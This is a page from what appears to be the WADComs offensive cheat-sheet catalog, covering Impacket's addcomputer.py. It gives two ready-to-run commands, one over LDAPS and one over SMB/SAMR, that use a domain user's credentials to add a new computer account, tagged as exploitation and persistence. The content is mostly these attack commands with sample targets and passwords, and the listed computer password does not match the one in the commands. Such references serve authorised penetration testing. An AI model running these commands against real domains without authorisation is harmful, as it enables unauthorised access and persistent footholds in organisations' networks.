Catalog WADComs

WAD · Tool

Impacket-addcomputer

2 techniques Linux · Windows · ActiveDirectoryWADComs GPL-3.0

Impacket-addcomputer-LDAPS

ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's addcomputer.py will add a computer account to the domain and set its password. The following command will create a new computer over LDAPS. Plain LDAP is not supported, as it doesn't allow setting the password of the new computer. Command Reference: Target IP: 10.10.10.1 Domain: test.local New Computer Password: TestPassword123 New Computer Name: testComputer Username: john Password: password123

python3 addcomputer.py -method LDAPS -dc-ip 10.10.10.1 -computer-pass TestPassword321 -computer-name testComputer test.local/john:password123
Native
Exploitation, Persistence
Requires
Username, Password
Services
LDAP

Impacket-addcomputer-SMB

ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's addcomputer.py will add a computer account to the domain and set its password. The following command will create a new computer over the SMB by specifying the `SAMR` method. Command Reference: Target IP: 10.10.10.1 Domain: test.local New Computer Password: TestPassword123 New Computer Name: testComputer Username: john Password: password123

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.1 -computer-pass TestPassword321 -computer-name testComputer test.local/john:password123
Native
Exploitation, Persistence
Requires
Username, Password
Services
SMB